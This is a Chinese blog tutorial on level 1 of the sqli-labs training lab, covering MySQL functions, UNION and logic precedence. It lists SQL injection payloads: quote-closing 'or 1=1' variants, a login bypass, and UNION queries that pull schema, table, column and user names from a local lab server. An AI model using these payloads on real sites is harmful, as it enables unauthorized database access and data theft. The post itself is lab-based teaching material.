zoukankan      html  css  js  c++  java
  • sqli-labs-master 第一关

    Sql注入

    基础知识:

    一··系统函数;

    1. version()——MySQL 版本

    2. user()——数据库用户名

    3. database()——数据库名

    4. @@datadir——数据库路径

    5. @@version_compile_os——操作系统版本

    二··字符串连接函数

      1. concat(str1,str2,...)——没有分隔符地连接字符串

    2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

    3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据

    三·一般尝试的语句

    --+可以用#替换,url 提交过程中 Url 编码后的#为%23

    or 1=1--+

    'or 1=1--+

    "or 1=1--+

    )or 1=1--+

    ')or 1=1--+

    ") or 1=1--+

    "))or 1=1--+

    一般代码为:

    $id=$_GET[‘id’];

    $sql=’SELECT * FROM users WHERE id =’$id’ LIMIT 0,1’;

    此处考虑两个点,一个是闭合前面你的 ‘ 另一个是处理后面的 ‘ ,一般采用两种思路,闭合后面的引号或者注释掉,注释掉采用--+ 或者 #(%23)

    四·union操作符介绍

      UNION 操作符用于合并两个或多个 SELECT 语句的结果集。请注意,UNION 内部的 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 SELECT 语句中的 列的顺序必须相同。

      SQL UNION 语法

    SELECT column_name(s) FROM table_name1

    UNION

    SELECT column_name(s) FROM table_name2

    注释:默认地,UNION 操作符选取不同的值。如果允许重复的值,请使用 UNION ALL。 SQL UNION ALL 语法

    SELECT column_name(s) FROM table_name1

    UNION ALL

    SELECT column_name(s) FROM table_name2

    另外,UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。

    五·sql中的逻辑运算

      Select * from admin where username=’admin’ and password=’admin’

    我们可以用 ’or 1=1# 作为密码输入

    Select * from admin where username=’admin’ and password=’ ’or1=1#’

    Password为假但or1=1为真

    上面的这个语句执行后,我们在不知道密码的情况下就登录到了 admin 用户了。 原 因 是 在 where 子 句 后 , 我 们 可 以 看 到 三 个 条 件 语 句 username=’admin’ and password=’’or 1=1。三个条件用 and 和 or 进行连接。在 sql 中,我们 and 的运算优先 级大于 or 的元算优先级。因此可以看到 第一个条件(用 a 表示)是真的,第二个条件(用 b 表示)是假的,a and b = false,第一个条件和第二个条件执行 and 后是假,再与第三 个条件 or 运算,因为第三个条件 1=1 是恒成立的,所以结果自然就为真了。因此上述的语 句就是恒真了。

    ①    Select * from users where id=1 and 1=1;

    ②Select * from users where id=1 && 1=1;

    ③Select * from users where id=1 & 1=1;

    ①和②是一样的,表达的意思是 id=1 条件和 1=1 条件进行与运算。

    ②    的意思是 id=1 条件与 1 进行&位操作, id=1 被当作 true,与 1 进行 & 运算 结果还是 1, 再进行=操作,1=1,还是 1(ps:&的优先级大于=) Ps:此处进行的位运算。我们可以将数转换为二进制再进行与、或、非、异或等运算。必要 的时候可以利用该方法进行注入结果。例如将某一字符转换为 ascii 码后,可以分别与 1,2,4,8,16,32.。。。进行与运算,可以得到每一位的值,拼接起来就是 ascii 码值。再从 ascii 值反推回字符。(运用较少)

    第一关:

    http://192.168.65.130/sqli-labs-master/Less-1?id=1'or 1=1--+ limit 0,1

     

    原代码:

    $id=$_GET['id'];

    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

    $result=mysql_query($sql);

    $row = mysql_fetch_array($result);

    http://192.168.65.130/sqli-labs-master/Less-1?id=-1 'order by 4 --+

     

    order by 3显示正常:

    显示位:

    http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(2),(3))--+

    爆数据库:

    http://192.168.65.130/sqli-labs-master/Less=-1?id=1'+UNION(SELECT(1),(group_concat(schema_name)),(3) from information_schema.schemata) --+limit 0,1

     

     

    爆表名:

    http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(table_name)),(3) from information_schema.tables where table_schema='security') --+limit 0,1

    爆裂名:

    http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(group_concat(column_name)),(3) from information_schema.columns where table_schema='security' and table_name='users') --+limit 0,1

     

     

    报数据:

    http://192.168.65.130/sqli-labs-master/Less-1?id=-1'+UNION(SELECT(1),(username),(3) from users where id=3) --+limit 0,1

  • 相关阅读:
    在python3中安装mysql扩展,No module named 'ConfigParser'
    Ubuntu安装MySQL和Python库MySQLdb步骤
    python_非阻塞套接字及I/O流
    EFI、UEFI、MBR、GPT的区别
    2018.1.9 博客迁移至csdn
    2017.12.27 sqlSessionFactory和sqlSession(to be continued)
    2017.12.25 Mybatis物理分页插件PageHelper的使用(二)
    2017.12.14 Mybatis物理分页插件PageHelper的使用(一)
    2017.12.12 架构探险-第一章-从一个简单的web应用开始
    2017.12.11 线程池的简单实践
  • 原文地址:https://www.cnblogs.com/gudexiao-1996/p/11660358.html
Copyright © 2011-2022 走看看